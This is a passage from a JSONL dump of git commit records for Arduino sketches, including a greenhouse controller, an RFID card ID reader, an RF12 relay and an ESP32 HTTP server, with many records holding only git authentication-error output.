utile per controllare il sensore DHT per la lettura dell'umidit\u00e0 e la temperatura dell'ambiente (DHT library -> Adafruit vers. 1.2.3)\n#include <SoftwareSerial.h> \/\/libreria atta a creare una porta di comunicazione seriale virtuale differente da quella costituita su Arduino UNO dai pin 0 ed 1(seriale via USB)\n\n\/\/Definizione dei pin analogico\/digitali affidati alla lettura delle uscite prodotte dai sensori\n#define dhtPin A0 \/\/collego il sensore DHT al pin A0\n#define luxPin A1 \/\/collego il sensore di luminosit\u00e0 ambientale al pin A1\n#define humGPin A2 \/\/collego il sensore per monitorare l'umidit\u00e0 del terreno al pin A2\n#define echo 3 \/\/seleziono i pin interessati allo studio dell'altezza della pianta tramite HC-SR04\n#define trigger 2 \/\/traduttore di tistanza a tempo di volo\n\n\/\/Definizione dei pin digitali a cui sono affidati i controlli via arduino dell'impianto\n#define luce_UV 4 \/\/pin ON\/OFF luce ultravioletta notturna all'interno della serra\n#define riscalda_ven 5 \/\/attivazione riscaldamento al di sotto di una determinata temperatura\n#define raccolta 6 \/\/segnalamento possibilit\u00e0 di cimatura\/raccolta della pianta di basilico\n#define irriga 7 \/\/abilito un segnale che ci permette di irrigare il terreno in determinate condizioni climatiche(in funzione di umidit\u00e0 del terreno e della luminosit\u00e0)\n#define umidifica 8 \/\/abilito un segnale che ci permette di attivare\/disattivare un sistema di umidificazione ambietale provvisto di una ventola\n#define led_manual 12 \/\/definisco un LED di stato che indica il tipo di controllo effettuato sull'impianto(ON -> MANUALE, OFF -> AUTOMATICO)\n\n\/\/Definizione dei pin digitali affidati alla comunicazione seriale tramite Bluetooth(modulo HC-05)\n#define rx_pin 10 \/\/ingresso a cui collego il pin di trasmissione TX del modulo bluetooth\n#define tx_pin 11 \/\/uscita a cui collego il pin di ricezione dei dati RX del modulo bluetooth\n\n\/\/Definizione delle variabili globali del sistema\nint luce = 0; \/\/variabile in cui vado a scrivere il valore della luminosit\u00e0 ambientale\nint luce_analog = 0; \/\/variabile d'appoggio per la lettura analogica del valore della luminosit\u00e0\nint temp_aria = 0; \/\/\"temp_aria\" e \"umidi_aria\" mantengono i valori di temperatura ed umidit\u00e0 ambientale\nint umidi_aria = 0; \/\/tirati fuori dal modulino DHT (valori estrapolati sfruttando la libreria realizzata ad hoc)\nint umidi_terra = 0; \/\/variabile in cui vado a scrivere il valore dell'umidit\u00e0 percentuale del terreno\nint umi_ter_analog = 0; \/\/variabile di appoggio per acquisire il segnale analogico riferito all'umidit\u00e0 del terreno da poi adattare ad un valore percentuale(%)\nint durata = 0; \/\/variabile utile a calcolare la durata dell'impulso di eco nel trasduttore a tempo di volo\nint distanza = 0; \/\/variabile utilizzata al fine di convertire la durata dell'eco in una distanza\nint altezza = 0; \/\/variabile che immagazzina il valore dell'altezza della pianta.\n\nchar message = 0; \/\/carattere utile per catturare i dati inviati tramite Bluetooth dall app android e controllare i parametri del sistema(modalit\u00e0 MANUALE\/AUTOMATICA, in MANUALE attivazione di 1),2),3),4))\nint manual; \/\/variabile intera utile a controllare la modalit\u00e0 in cui funziona l'intero impianto (utilizzata nel loop() per ovviare a tale operazione)\n\nDHT dht(dhtPin,DHT11); \/\/creazione istanza di DHT al fine di leggere temperatura ed umidit\u00e0 dell'aria(passo il pin ed il tipo di DHT## utilizzato)\nSoftwareSerial bluetooth = SoftwareSerial(rx_pin,tx_pin); \/\/creo un istanza in grado di definire una porta seriale virtuale utile alla comunicazione bluetooth dei dati\n\nvoid setup() {\nSerial.begin(9600); \/\/abilito la porta seriale (COM#) per la lettura dei dati prodotti dal sistema(posso anche eliminare se non stampo i dati sul monitor seriale)\ndht.begin(); \/\/abilito la lettura dati mediante il modulo DHT\nbluetooth.begin(9600); \/\/abilito la comunicazione seriale virtuale, con baud 9600 bps, per interconnettermi al modulo bluetooth HC-05\npinMode(echo,INPUT); \/\/abilito I\/O del trasduttore a tempo di volo (echo = IN, trigger = OUT)\npinMode(trigger,OUTPUT); \nmanual = 0; \/\/inizializzo manual=0 per far partire l'impianto da una condizione di controllo automatico mediante apposite funzionalit\u00e0 presenti nel codice\n\n\/\/Imposto come output i pin digitali\npinMode(luce_UV,OUTPUT); \/\/uscita per abilitare l'illuminazione UV nella serra\npinMode(riscalda_ven, OUTPUT); \/\/uscita per abilitare la ventola con annesso sistema di riscaldamento nella serra\npinMode(raccolta,OUTPUT); \/\/uscita per lanciare un allert a favore della cimatura\/raccolta della pianta\npinMode(irriga,OUTPUT); \/\/uscita volta ad attivare il ssitema di irrigazione del terreno\npinMode(umidifica,OUTPUT); \/\/uscita utile ad abilitare il sistema di umidificazione dell'aria\ndigitalWrite(umidifica,LOW); \ndigitalWrite(luce_UV,LOW);\ndigitalWrite(riscalda_ven,LOW);\ndigitalWrite(raccolta,LOW);\ndigitalWrite(irriga,LOW);\n\npinMode(led_manual,OUTPUT); \/\/ LED di stato per indicare il tipo di controllo effettuato sul sistema\ndigitalWrite(led_manual,LOW);\n}\n\nvoid loop() {\n stato_impianto(); \/\/aggiornamento variabili contenenti lo stato(parametri d'interesse) dell'impianto\n selection_auto_manual(); \/\/verifico il tipo di controllo da effettuare sull'impianto\n if(manual) manual_control(); \/\/se manual = 1, abilito il controllo manuale tramite l'applicazione android(piloto opportunamente gli switch)\n else auto_control(); \/\/se manual = 0, Arduino controllo autonomamente l'impianto\n invio_BLUETOOTH(); \/\/trasferisco, tramite bluetooth, i valori acquisiti riferiti allo stato della serra e della pianta\n }\n\n\/\/Funzione in gradi di aggiornare i parametri riferiti allo stato dell'impianto\n\nvoid stato_impianto(){\n temp_aria = dht.readTemperature(); \/\/acquisisco i valori di temperarura ed umidit\u00e0 dell'aria\n umidi_aria = dht.readHumidity(); \/\/scrivendoli nelle variabili globali\n luce_analog = analogRead(luxPin); \/\/leggo dal pin analogico il valore restituito dal trasduttore di luminosit\u00e0\n luce = map(luce_analog, 0, 1023, 0, 100); \/\/rappresento tale valore su di una scala percentuale(da 0 a 100%)\n umi_ter_analog = analogRead(humGPin); \/\/acquisisco il valore analogico riferito all'umidit\u00e0 del terreno\n umidi_terra = map(umi_ter_analog, 0, 1023, 100, 0); \/\/trasformo il valore analogico, in base alla caratteristica del trasduttore, e lo porto in un range 0-100%\n\n \/\/controllo altezza mediante le soglie digitali inviate da parte del sistema(echo e trigger)\n digitalWrite( trigger, LOW ); \/\/invio un segnale alto per 10 ms e verifico quale sia il suo eco sulla porta di ritorno del medesimo\n digitalWrite( trigger, HIGH );\n delayMicroseconds( 10 );\n digitalWrite( trigger, LOW );\n durata = pulseIn( echo, HIGH ); \/\/calcolo mediante la funzione \"pulseIn\" la durata dell'impulso\n distanza = 0.034 * durata \/ 2; \/\/converto tale durata temporale in una distanza \n altezza = 30 - distanza; \/\/supponendo che il sensore si trovi al di sopra della pianta ed \u00e8 istallato ad una altezza di 30 cm, l'altezza della pianta stessa viene calcolata\n \/\/in maniera differenziale(30 cm sono una pura prova, potrebbe essere un'altezza maggiore o anche minore)\n}\n\n\n\/\/Funzione in grado di controllare la temperatura e l'umidit\u00e0 dell'aria\n\nvoid temp_humid_control(){\n \/\/Controllo temperatura della serra\n if(temp_aria < 18){\n digitalWrite(riscalda_ven,HIGH); \/\/attivazione sistema areazione-riscaldamento\n }\n else if(temp_aria >= 22){\n digitalWrite(riscalda_ven,LOW); \/\/disattivazione sistema areazione-riscaldamento\n }\n \/\/Controllo umidit\u00e0 aria della serra\n if(umidi_aria < 45 ){ \n digitalWrite(umidifica,HIGH); \/\/attivazione sistema umidificazione ambiente\n }\n else if(umidi_aria > 75){\n digitalWrite(umidifica,LOW); \/\/diattivazione sistema umidificazione ambiente\n }\n \n}\n\n\/\/Funzione in grado di pilotare l'accensione\/spegnimento dell'impianto di illuminazione ultravioletto in base alle diverse condizioni di luce\n\nvoid light_control(){\n \/\/Controllo sull'accensione dell'illuminazione UV all'interno della serra (controllo ad ISTERESI: 1) attivo con luminosit\u00e0 < 40% 2) disattivo con luminosit\u00e0 >=42% (evito sfarfallii UV)\n if(luce < 40){\n digitalWrite(luce_UV,HIGH); \/\/attivo luce UV\n }\n else if(luce >= 42){\n digitalWrite(luce_UV,LOW); \/\/disattivo luce UV\n }\n }\n\n\/\/Funzione in grado di pilotare il sistema automatico di irrigazione della serra\nvoid humidity_gnd_control(){\n \n \/\/Controllo irrigazione del terreno: la medesima viene attivata anche in funzione della luminosit\u00e0 ambientale(irrigazione nelle ore fresce della giornata)\n if((umidi_terra < 35)&&(luce < 45)){\n digitalWrite(irriga,HIGH); \/\/attiva l'irrigazione della serra\n }\n else if(umidi_terra > 60){\n digitalWrite(irriga,LOW); \/\/disattiva l'irrigazione della serra\n }\n}\n\n\/\/Funzione in gradi di abilitare un LED di stato (nel controllo autonomo da parte di Arduino della serra) in relazione all'altezza della piantina di basilico\nvoid ready_to_collect(){\n \n \/\/Controllo raccolta\/cimatura del basilico\n if(altezza >= 20){ \/\/se l'altezza \u00e8 maggiore di 20 cm, \u00e8 possibile raccogliere\/cimare la pianta\n digitalWrite(raccolta,HIGH); \/\/abilito un LED di allerta per segnalare la possibilit\u00e0 di cimare\/raccogliere la pianta\n }\n else{\n digitalWrite(raccolta,LOW); \/\/altezza non sufficiente per la cimatura\/raccolta del basilico\n }\n } \n\n\n\/\/Funzione per visulaizzare sul monitor seriale i valori attribuiti alle variabili di stato della serra\nvoid serial_print(){\n Serial.print(\"Air Temperature[*C]: \"); \n Serial.println(temp_aria);\n delay(500);\n Serial.print(\"Air Humidity[%]: \");\n Serial.println(umidi_aria);\n delay(500);\n Serial.print(\"Brightness[%]: \"); \n Serial.println(luce);\n delay(500);\n Serial.print(\"Ground Humidity[%]: \"); \n Serial.println(umidi_terra);\n delay(500);\n Serial.print(\"Plant Height[cm]: \"); \n Serial.println(altezza);\n delay(500);\n}\n\n\/\/Funzione in grado di trasmettere, tramite una comunicazione seriale, i dati del sistema via bluetooth all'applicazione Android connessa al modulo HC-05\nvoid invio_BLUETOOTH(){ \/\/invio una determinata stringa di dati che inizia per * e termina con # al fine di condificare correttamente tramite l'app l'inizio e la fine trasmissione dati\n bluetooth.print(\"*\");\n bluetooth.print(temp_aria); \/\/trametto il valore della temperatura dell aria\n bluetooth.print(\" \");\n bluetooth.print(umidi_aria); \/\/trasmetto il valore dell'umidit\u00e0 dell'aria\n bluetooth.print(\" \");\n bluetooth.print(luce); \/\/trasmetto il valore della luminosit\u00e0 ambientale\n bluetooth.print(\" \");\n bluetooth.print(altezza); \/\/trasmetto il valore dell'umidit\u00e0 del terreno\n bluetooth.print(\" \");\n bluetooth.print(umidi_terra); \/\/trasmetto il valore dell'altezza della pianta\n bluetooth.print(\" \");\n bluetooth.println(\"#\");\n delay(500); \/\/inserisco un ritardo di 0,5 secondi al fine di evitare l'intasamento del buffer seriale su cui trasmetto i dati\n \/\/N.B. pur aggiornando l app Android, la medesima rileva i vecchi pacchetti inviati. In questo modo vado ad ottenere sempre il valore attuale dello stato sull APP\n \/\/svantaggio: ritardo di 0,5 secondi l'abilitazione dei vari switch in modalit\u00e0 di CONTROLLO MANUALE(tramite app) sul sistema\n}\n\n\/\/Funzione in grado di abilitare i controlli sull'impianto tramite il pilotaggio di opportuni switch presenti nell'applicazione Android nella finestra CONTROLLO MANUALE\nvoid manual_control(){\n \n while(bluetooth.available()){\n message = bluetooth.read(); \/\/quando invio dati tramite bluetooth accumulo i caratteri trasmetti nella stringa \"message\"\n }\n \n if(!bluetooth.available()){\n if(message == '3'){ \/\/attivazione LUCE UV via bluetooth tramite l'app\n digitalWrite(luce_UV,HIGH); \n }\n else if(message == '2'){ \/\/spegnimento LUCE UV via bluetooth tramite l'app\n digitalWrite(luce_UV,LOW); \n }\n else if (message == '5'){ \/\/attivazione UMIDIFICAZIONE ARIA via bluetooth tramite l'app\n digitalWrite(umidifica,HIGH); \n }\n else if(message == '4'){ \/\/spegnimento UMIDIFICAZIONE ARIA via bluetooth tramite l'app\n digitalWrite(umidifica,LOW); \n }\n else if (message == '7'){ \/\/attivazione IRRIGAZIONE TERRENO via bluetooth tramite l'app\n digitalWrite(irriga,HIGH); \n }\n else if (message == '6'){ \/\/spegnimento IRRIGAZIONE TERRENO via bluetooth tramite l'app\n digitalWrite(irriga,LOW); \n \n }\n else if (message == '9'){ \/\/attivazione RISCALDAMENTO ARIA via bluetooth tramite l'app\n digitalWrite(riscalda_ven,HIGH); \n }\n else if (message == '8'){ \/\/disattivazione RISCALDAMENTO ARIA via bluetooth tramite l'app\n digitalWrite(riscalda_ven,LOW); \n }\n }\n }\n\n\/\/Funzione utile ad istanziare il controllo automatico mediante Arduino della serricoltura del basilico\nvoid auto_control(){\n temp_humid_control(); \/\/abilito le funzionalit\u00e0 ed i relativi controllo come visto nelle descrizione delle funzioni vista nei passi precedenti\n light_control();\n humidity_gnd_control();\n ready_to_collect();\n }\n\n\/\/Funzione, dipendente dai comandi inviati tramite l'applicazione Android, in grado di selezionare il tipo di controllo applicato alla serra\nvoid selection_auto_manual(){\n while(bluetooth.available()){\n message = bluetooth.read(); \/\/quando invio dati tramite bluetooth accumulo i caratteri trasmetti nella stringa \"message\"\n }\n if(message == '0') { \/\/il sistema permane nella condizione di controllo automatico dell impianto\n manual = 0;\n digitalWrite(12,LOW);\n }\n else if(message == '1'){ \/\/il sistema viene controllato manualmente tramite l'applicazione Android\n manual = 1;\n digitalWrite(12,HIGH);\n digitalWrite(umidifica,LOW); \/\/resetto lo stato dei controlli applicati nella condizione di controllo automatico\n digitalWrite(luce_UV,LOW);\n digitalWrite(riscalda_ven,LOW);\n digitalWrite(irriga,LOW);\n}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Smart_Green_House_codiceArduino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"27f8ce7d5d5a86c84540fbb70e70a33cb2df84bd","subject":"first set of changes","message":"first set of changes\n","repos":"gcaracas\/arduinoRobot,gcaracas\/arduinoRobot","old_file":"motorCPP\/motor\/motor.ino","new_file":"motorCPP\/motor\/motor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/gcaracas\/arduinoRobot.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8d4262b36e36818d9900b312e38927aba8e7c6de","subject":"Create Helloworld.ino","message":"Create Helloworld.ino","repos":"TeamSmartCrew\/SmartRoverKit","old_file":"Kernel\/Examples\/Helloworld.ino","new_file":"Kernel\/Examples\/Helloworld.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TeamSmartCrew\/SmartRoverKit.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"16255a1596c62dc921bb1ceb5162730d3a545772","subject":"Create example to store NUID of a different PICC.","message":"Create example to store NUID of a different PICC.\n","repos":"miguelbalboa\/rfid,Rotzbua\/rfid,Rotzbua\/rfid,hramrach\/rfid","old_file":"examples\/ReadNUID\/ReadNUID.ino","new_file":"examples\/ReadNUID\/ReadNUID.ino","new_contents":"\/*\nKiara Navarro\nsophiekovalevsky arroba fedoraproject.org\nwww.panamahitek.com\n*\/\n\n\/* \n Pinaje (MFRC522 hacia Arduino)\n MFRC522 pin SDA hacia el pin 10\n MFRC522 pin SCK hacia el pin 13\n MFRC522 pin MOSI hacia el pin 11\n MFRC522 pin MISO hacia el pin 12\n MFRC522 pin GND a tierra\n MFRC522 pin RST hacia el pin 9\n MFRC522 pin 3.3V A 3.3. V\n*\/\n\n\/\/ Librer\u00edas necesarias\n#include <SPI.h>\n#include <MFRC522.h>\n\n#define SS_PIN 10 \/\/ pin SDA hacia el pin 10\n#define RST_PIN 9 \/\/ pin RST hacia el pin 9\n \nMFRC522 rfid(SS_PIN, RST_PIN); \/\/ Creo la instancia de la clase MFRC522\n\nMFRC522::MIFARE_Key key; \/\/ Crea una estructura de tipo llave\n\n\/\/ Inicializo vector que almacenar\u00e1 el NUID del PICC\nbyte nuidPICC[3];\n\nvoid setup() { \n\tSerial.begin(9600);\n\tSPI.begin(); \/\/ Inicia el bus de SPI\n\trfid.PCD_Init(); \/\/ Inicia el lector \n\n\t\/\/ Carga los valores que vienen por defecto para las llaves A y B\n\tfor (byte i = 0; i < 6; i++) {\n\t key.keyByte[i] = 0xFF;\n\t}\n\n\tSerial.println(F(\"Este c\u00f3digo escanea el n\u00famero de identificaci\u00f3n de una tarjeta MIFARE Classic.\"));\n\tSerial.print(F(\"Utilizando la siguiente llave:\"));\n\tprintHex(key.keyByte, MFRC522::MF_KEY_SIZE);\n}\n \nvoid loop() {\n\n \/\/ Buscando nuevas tarjetas\n if ( ! rfid.PICC_IsNewCardPresent())\n return;\n\n \/\/ Lee tarjeta\n if ( ! rfid.PICC_ReadCardSerial())\n return;\n\n Serial.print(F(\"Tipo de PICC: \"));\n byte piccType = rfid.PICC_GetType(rfid.uid.sak);\n Serial.println(rfid.PICC_GetTypeName(piccType));\n\n \/\/ Verifica si la tarjeta es de tipo MIFARE Classic\n if (piccType != MFRC522::PICC_TYPE_MIFARE_MINI && \n \tpiccType != MFRC522::PICC_TYPE_MIFARE_1K &&\n \tpiccType != MFRC522::PICC_TYPE_MIFARE_4K) {\n Serial.println(F(\"Tu tarjeta no es del tipo MIFARE Classic\"));\n return;\n }\n\n if (rfid.uid.uidByte[0] != nuidPICC[0] || \n\t rfid.uid.uidByte[1] != nuidPICC[1] || \n\t rfid.uid.uidByte[2] != nuidPICC[2] || \n\t rfid.uid.uidByte[3] != nuidPICC[3] ) {\n\t\tSerial.println(F(\"Se ha detectado nueva tarjeta\"));\n\n\t\t\/\/ Almacena el NUID en el arreglo nuidPICC\n\t\tfor (byte i = 0; i < 4; i++) {\n\t\t\tnuidPICC[i] = rfid.uid.uidByte[i];\n\t\t}\n\t \n\t Serial.println(F(\"Su n\u00famero no \u00fanico de identificaci\u00f3n es:\"));\n\t Serial.print(F(\"En hexadecimal: \"));\n\t printHex(rfid.uid.uidByte, rfid.uid.size);\n\t Serial.println();\n\t Serial.print(F(\"En decimal: \"));\n\t printDec(rfid.uid.uidByte, rfid.uid.size);\n\t Serial.println();\n }\n else Serial.println(\"Tarjeta le\u00edda anteriormente, ingrese otra.\");\n\n \/\/ Halt PICC\n rfid.PICC_HaltA();\n\n \/\/ Detiene el cifrado en el PCD\n rfid.PCD_StopCrypto1();\n}\n\n\n\/**\n * Funci\u00f3n que ayuda a representar valores hex en el monitor serial\n *\/\nvoid printHex(byte *buffer, byte bufferSize) {\n for (byte i = 0; i < bufferSize; i++) {\n Serial.print(buffer[i] < 0x10 ? \" 0\" : \" \");\n Serial.print(buffer[i], HEX);\n }\n}\n\n\/**\n * Funci\u00f3n que ayuda a representar valores en dec en el monitor serial\n *\/\nvoid printDec(byte *buffer, byte bufferSize) {\n for (byte i = 0; i < bufferSize; i++) {\n Serial.print(buffer[i] < 0x10 ? \" 0\" : \" \");\n Serial.print(buffer[i], DEC);\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ReadNUID\/ReadNUID.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"2c20246fda4e7611df51c1267765a22c9b769d61","subject":"Save and restore knowledge with SD card using library functions","message":"Save and restore knowledge with SD card using library functions","repos":"nepes-ai\/neuroshield","old_file":"neuroshield-arduino\/lib\/NeuroShield\/examples\/NeuroShield_SaveNRestoreKnowledge\/NeuroShield_SaveNRestoreKnowledge.ino","new_file":"neuroshield-arduino\/lib\/NeuroShield\/examples\/NeuroShield_SaveNRestoreKnowledge\/NeuroShield_SaveNRestoreKnowledge.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nepes-ai\/neuroshield.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"733d28545013397decf7a5f88b1e38c88e3a733e","subject":"Changed LED pin to match the video","message":"Changed LED pin to match the video","repos":"futureshocked\/arduino_sbs,futureshocked\/arduino_sbs,merbok\/arduino_sbs,futureshocked\/arduino_sbs,merbok\/arduino_sbs","old_file":"Blinking LED\/Blink\/Blink.ino","new_file":"Blinking LED\/Blink\/Blink.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Blinking' did not match any file(s) known to git\nerror: pathspec 'LED\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4270d51d8770c0e41eb6be4bc70c1924a8e525d4","subject":"add first version of otRelay sketch","message":"add first version of otRelay sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RF12\/otRelay\/otRelay.ino","new_file":"examples\/RF12\/otRelay\/otRelay.ino","new_contents":"\/\/\/ @dir otRelay\n\/\/\/ Read out the OpenTherm gateway and relay readings using RFM12B.\n\/\/ 2012-11-11 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <JeeLib.h>\n\n\/\/ buffer to collect last data received\nbyte lastChars[9], lastFill;\n\nstatic void processMessage () {\n while (!rf12_canSend())\n rf12_recvDone();\n rf12_sendStart(0, lastChars, lastFill);\n}\n \nvoid setup () {\n Serial.begin(9600);\n rf12_initialize(14, RF12_868MHZ, 5);\n}\n\nvoid loop () {\n if (Serial.available()) {\n char c = Serial.read();\n if (lastFill < sizeof lastChars) {\n if ('0' <= c && c <= '9' || 'A' <= c && c <= 'Z') {\n \/\/ it fits and it's a valid character\n lastChars[lastFill++] = c;\n return;\n }\n } else if (c == '\\r')\n processMessage();\n \/\/ done, or invalid: clear the lastChars buffer\n lastFill = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12\/otRelay\/otRelay.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"db77fb5403089871973622bc5ed2585ccaa14724","subject":"Create com5.ino","message":"Create com5.ino","repos":"dreamInCoDeforlife\/Arduino_Webinterface,dreamInCoDeforlife\/Arduino_Webinterface,dreamInCoDeforlife\/Arduino_Webinterface","old_file":"com5.ino","new_file":"com5.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dreamInCoDeforlife\/Arduino_Webinterface.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ce4a83e345f3a10b2314f105169179a39073c688","subject":"","message":"\n\ncustom radio node","repos":"electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino","old_file":"CustomRadioNode\/CustomRadioNode.ino","new_file":"CustomRadioNode\/CustomRadioNode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/electronicplayground\/ep-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0829e9f058766334b8b915273d6835ffb40f88d1","subject":"Add an example","message":"Add an example\n","repos":"turippj\/TURIPlibrariesForArduino,turippj\/TURIPlibrariesForArduino","old_file":"examples\/TURIPhttpServer_WROOM32\/TURIPhttpServer_WROOM32.ino","new_file":"examples\/TURIPhttpServer_WROOM32\/TURIPhttpServer_WROOM32.ino","new_contents":"#include <TURIPclientSPI.h>\n#include <TURIPserver.h>\n#include <TURIPshell.h>\n#include <WiFi.h>\n#include <HTTPClient.h>\n\n#include \"EEPROM.h\"\n\n#define DEBUG\n\nuint32_t TURIP_MODEL = 0x8267;\nuint32_t TURIP_SERIAL = 0x0;\n\nTURIPport* portSsid;\nTURIPport* portPassword;\n\nboolean wifiSettingIsChanged = false;\nboolean webserverIsRunning = false;\n\nconst size_t EEPROM_SIZE = 98;\nunion {\n struct {\n char ssid[33];\n char pass[65];\n } data;\n uint8_t address[EEPROM_SIZE];\n} rom;\n\nWiFiServer server(80);\n\nvoid setup() {\n TURIP_MODEL = (uint32_t)(ESP.getEfuseMac() >> 32);\n TURIP_SERIAL = (uint32_t)ESP.getEfuseMac();\n Serial.begin(115200);\n EEPROM.begin(EEPROM_SIZE);\n\n TURIPserver.begin(TURIP_MODEL, TURIP_SERIAL);\n portSsid = TURIPserver.newPort(1);\n portPassword = TURIPserver.newPort(2);\n portSsid->writeString(String(\"****\"));\n portPassword->writeString(String(\"****\"));\n portSsid->postReceiveFunc = setWifiSsid;\n portPassword->postReceiveFunc = setWifiPasswd;\n\n TURIPclientSPI.addPin(25);\n TURIPclientSPI.addPin(33);\n TURIPclientSPI.addPin(26);\n TURIPclientSPI.addPin(27);\n TURIPclientSPI.begin();\n\n readWifiSettings();\n\n Serial.println(rom.data.ssid);\n Serial.println(rom.data.pass);\n\n if(rom.data.ssid[0] != '\\0' && rom.data.pass[0] != '\\0'){\n WiFi.begin(rom.data.ssid, rom.data.pass);\n }\n}\n\nvoid readWifiSettings(){\n for(int i = 0; i < EEPROM_SIZE; i++){\n rom.address[i] = EEPROM.read(i);\n }\n rom.data.ssid[32] = '\\0';\n rom.data.pass[64] = '\\0';\n}\n\nvoid regWifiSettings(){\n for(int i = 0; i < EEPROM_SIZE; i++){\n EEPROM.write(i, rom.address[i]);\n }\n EEPROM.commit();\n for(int i = 0; i < EEPROM_SIZE; i++){\n Serial.print((char)EEPROM.read(i));\n }\n}\n\nvoid loop() {\n if(wifiSettingIsChanged){\n regWifiSettings();\n WiFi.begin(rom.data.ssid, rom.data.pass);\n wifiSettingIsChanged = false;\n }\n if(WiFi.status() == WL_CONNECTED){\n if(webserverIsRunning){\n webserver();\n } else {\n server.begin();\n webserverIsRunning = true;\n }\n }\n\n serialEvent();\n}\n\nvoid setWifiSsid(){\n portSsid->readString().toCharArray(rom.data.ssid, 32);\n portSsid->writeString(String(\"****\"));\n wifiSettingIsChanged = true;\n}\n\nvoid setWifiPasswd(){\n portPassword->readString().toCharArray(rom.data.pass, 64);\n portPassword->writeString(String(\"****\"));\n wifiSettingIsChanged = true;\n}\n\nvoid webserver(){\n WiFiClient client = server.available();\n if (!client) {\n return;\n }\n\n#ifdef DEBUG\n Serial.println(\"new client\");\n#endif\n\n int status = 500;\n\n while(!client.available()){\n delay(1);\n }\n\n String request = client.readString();\n#ifdef DEBUG\n Serial.println(\"request: \");\n Serial.println(request);\n#endif\n int indexofPath = request.indexOf(\"\/\");\n int indexofPost = request.indexOf(\"\\x0d\\x0a\\x0d\\x0a\"); \/\/ double CRLF\n String method = request.substring(0,indexofPath - 1);\n String post = request.substring(indexofPost, request.length());\n method.toLowerCase();\n method.trim();\n post.trim();\n if(method.equals(\"get\")){\n#ifdef DEBUG\n Serial.println(\"GET method\");\n#endif\n status = 200;\n }else if(method.equals(\"post\")){\n#ifdef DEBUG\n Serial.println(\"POST method\");\n Serial.println(indexofPost);\n Serial.println(request.length());\n Serial.println(post);\n#endif\n status = 200;\n }else {\n#ifdef DEBUG\n Serial.println(\"invalid method\");\n#endif\n status = 400;\n }\n String path = request.substring(indexofPath, request.indexOf(' ', indexofPath));\n path.toLowerCase();\n path.trim();\n#ifdef DEBUG\n Serial.print(\"path: \");\n Serial.println(path);\n#endif\n\n String body;\n\n \/\/ TURIP query.\n int pathRootIndex = path.indexOf(\"turip\");\n if(pathRootIndex != -1){\n path.remove(0, 6);\n Serial.println(path);\n if(method.equals(\"get\")){\n body += TURIPshell(path);\n }else if(method.equals(\"post\")){\n body += TURIPshell(path + String(\" \" + post));\n }\n }else{\n#ifdef DEBUG\n Serial.println(\"Invalid path.\");\n#endif\n status = 404;\n }\n\n client.flush();\n String response = \"HTTP\/1.1\";\n if(status == 200){\n response += \" 200 OK\\n\";\n response += \"Content-Type: application\/json\\n\";\n response += \"Access-Control-Allow-Origin: *\\n\\n\";\n response += body;\n response += \"\\n\";\n }else if(status == 400){\n response += \" 400 Bad Request\\n\";\n }else if(status == 403){\n response += \" 403 Forbidden\\n\";\n }else if(status == 404){\n response += \" 404 Not Found\\n\";\n }else{\n response += \" 500 Internal Server Error\\n\";\n }\n client.print(response);\n\n delay(1);\n#ifdef DEBUG\n Serial.println(\"Client disonnected\");\n#endif\n}\n\nvoid serialEvent(){\n static String strBuf;\n while(Serial.available()){\n char c = Serial.read();\n if(c == 0x0a){ \/\/ 0x0a: LF\n strBuf.trim();\n Serial.println(TURIPshell(strBuf));\n strBuf = \"\";\n }else{\n strBuf += c;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TURIPhttpServer_WROOM32\/TURIPhttpServer_WROOM32.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b3f5a999e058207dca697ad40f6e7a6571af999","subject":"Cast to int. Direction keeps getting stuck for some reason.","message":"Cast to int. Direction keeps getting stuck for some reason.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 